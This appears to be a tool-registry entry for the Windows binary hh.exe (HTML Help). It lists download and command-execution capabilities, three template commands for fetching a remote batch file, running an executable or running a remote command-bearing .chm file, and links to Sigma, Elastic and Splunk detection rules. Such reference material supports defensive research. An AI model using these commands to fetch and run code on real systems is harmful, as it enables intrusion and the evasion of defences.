windows enabled community high v1.0.0

hh

Binary used for processing chm files in Windows Located at: C:\Windows\hh.exe; C:\Windows\SysWOW64\hh.exe.

📋 Live Preview 
hh
hh

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download
security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Open the target batch script with HTML Help. (Download files from url)

HH.exe {REMOTEURL:.bat}

Executes specified executable with HTML Help. (Execute process with HH.exe)

HH.exe {PATH_ABSOLUTE:.exe}

Executes a remote .chm file which can contain commands. (Execute commands with HH.exe)

HH.exe {REMOTEURL:.chm}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml
elastic https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml
elastic https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml
splunk https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml
splunk https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml

Documentation

hh

hh is a Windows LOLBin. Binary used for processing chm files in Windows Located at: C:\Windows\hh.exe; C:\Windows\SysWOW64\hh.exe.

References